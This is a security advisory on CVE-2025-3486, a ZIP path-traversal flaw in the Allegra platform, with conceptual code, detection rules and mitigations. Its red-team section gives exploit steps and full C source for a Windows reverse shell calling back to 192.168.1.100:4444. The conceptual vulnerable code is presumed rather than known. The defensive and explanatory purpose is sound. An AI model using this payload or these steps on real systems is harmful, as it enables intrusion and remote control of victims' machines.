CVE-2025-3486

Executive Summary

CVE-2025-3486 is a critical directory traversal vulnerability in Allegra, a project management and collaboration platform. The flaw resides in the isZipEntryValide method, which fails to properly validate user-supplied paths before using them in file operations. This allows an authenticated remote attacker to write arbitrary files to the filesystem, leading to remote code execution (RCE) in the context of the LOCAL SERVICE account. The vulnerability has a CVSS score of 7.2 (High) and is currently unpatched. No public proof-of-concept (PoC) or exploit code has been released, but the risk is significant due to the potential for full system compromise.

CVSS Breakdown & Threat Level

• CVSS Score: 7.2 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – Authentication is required, but only low-level privileges.
• User Interaction (UI): None – No user action is needed.
• Scope (S): Unchanged – The exploit does not affect other components.
• Confidentiality (C): High – Full file read access is possible.
• Integrity (I): High – Arbitrary file write allows code execution.
• Availability (A): High – Code execution can disrupt services.

Threat Level: High. The vulnerability allows authenticated attackers to achieve RCE with LOCAL SERVICE privileges, which can be leveraged for lateral movement and privilege escalation.

Deep Dive & Mechanics

The vulnerability is a classic path traversal (CWE-22) in the isZipEntryValide method of Allegra. This method is likely used to validate ZIP file entries during extraction or processing. The flaw occurs because the method does not sanitize or canonicalize user-supplied paths, allowing an attacker to include directory traversal sequences (e.g., ../) in the ZIP entry name.

Attack Flow:

1. An authenticated attacker crafts a malicious ZIP archive containing entries with path traversal sequences (e.g., ../../windows/system32/malicious.dll).
2. The attacker uploads this ZIP archive to the Allegra application.
3. The isZipEntryValide method is called to validate the entries but fails to detect the traversal.
4. The application extracts the ZIP file, writing the malicious file to an arbitrary location on the filesystem.
5. The attacker can then execute the malicious file (e.g., via a scheduled task or service restart) to achieve RCE as LOCAL SERVICE.

Impact: The LOCAL SERVICE account has limited privileges but can be used to install services, modify system files, or escalate to SYSTEM via known techniques (e.g., SeImpersonatePrivilege).

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the isZipEntryValide method. A patched version would implement proper path validation.

Vulnerable Code (Conceptual):

public boolean isZipEntryValide(ZipEntry entry) {
    String entryName = entry.getName();
    // No validation of path traversal
    return true;
}

Patched Code (Conceptual):

public boolean isZipEntryValide(ZipEntry entry) {
    String entryName = entry.getName();
    // Canonicalize and validate path
    Path entryPath = Paths.get(entryName).normalize();
    if (entryPath.startsWith("..") || entryPath.isAbsolute()) {
        return false;
    }
    return true;
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Authenticated access to Allegra (low-privilege user).
• Ability to upload ZIP files.

Exploit Steps:

1. Create a malicious ZIP archive with a payload (e.g., a DLL or executable).
2. Use a tool like zip to craft the archive with traversal paths:

   zip -r exploit.zip ../../windows/system32/malicious.dll
   

3. Upload the ZIP to Allegra via the vulnerable endpoint (e.g., /upload).
4. Trigger extraction (e.g., via a project import feature).
5. Execute the payload (e.g., via sc create or schtasks).

Example Payload (reverse shell):

// malicious.c
#include <winsock2.h>
#include <windows.h>
#pragma comment(lib, "ws2_32")

void main() {
    WSADATA wsa;
    SOCKET sock;
    struct sockaddr_in server;
    STARTUPINFO si;
    PROCESS_INFORMATION pi;

    WSAStartup(MAKEWORD(2,2), &wsa);
    sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
    server.sin_family = AF_INET;
    server.sin_port = htons(4444);
    server.sin_addr.s_addr = inet_addr("192.168.1.100");

    WSAConnect(sock, (SOCKADDR*)&server, sizeof(server), NULL, NULL, NULL, NULL);
    memset(&si, 0, sizeof(si));
    si.cb = sizeof(si);
    si.dwFlags = STARTF_USESTDHANDLES;
    si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sock;
    CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
}

Blue Team (Detection & Defense)

Detection:

• Monitor for ZIP file uploads with suspicious entry names (e.g., containing .. or absolute paths).
• Alert on file writes to sensitive directories (e.g., C:\Windows\System32, C:\ProgramData).
• Use EDR to detect process creation from unexpected locations.

Defense:

• Implement strict input validation on ZIP entry names.
• Use a sandbox or containerized environment for file extraction.
• Apply the principle of least privilege to the LOCAL SERVICE account.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2025_3486_ZIP_Traversal {
    meta:
        description = "Detects ZIP files with path traversal entries targeting CVE-2025-3486"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-3486"
    strings:
        $traversal = /\.\.\/|\.\.\\|\.\.\//
        $zip_magic = { 50 4B 03 04 }
    condition:
        $zip_magic at 0 and any of ($traversal)
}

Sigma Rule

title: CVE-2025-3486 - Allegra ZIP Path Traversal
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects file writes to sensitive directories from Allegra process
author: Valters IT
logsource:
    category: file_event
    product: windows
detection:
    selection:
        Image|endswith: '\Allegra.exe'
        TargetFilename|contains:
            - 'C:\Windows\System32'
            - 'C:\ProgramData'
            - 'C:\Users\Public'
    condition: selection
falsepositives:
    - Legitimate software updates
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-3486 - Allegra ZIP Upload with Path Traversal"; flow:to_server,established; content:"POST"; http_method; content:"/upload"; http_uri; content:"application/zip"; http_content_type; pcre:"/\.\.\//Ri"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable ZIP upload functionality in Allegra until a patch is available.
2. Restrict network access to the Allegra application to trusted IPs only.
3. Monitor logs for suspicious file writes and ZIP uploads.

Long-term Fix:

• Apply vendor patch when released.
• Implement input validation and canonicalization for all file paths.
• Use a Web Application Firewall (WAF) to block path traversal attempts.

Workaround:

• Modify the isZipEntryValide method to reject entries with .. or absolute paths (if source code is accessible).

Valters IT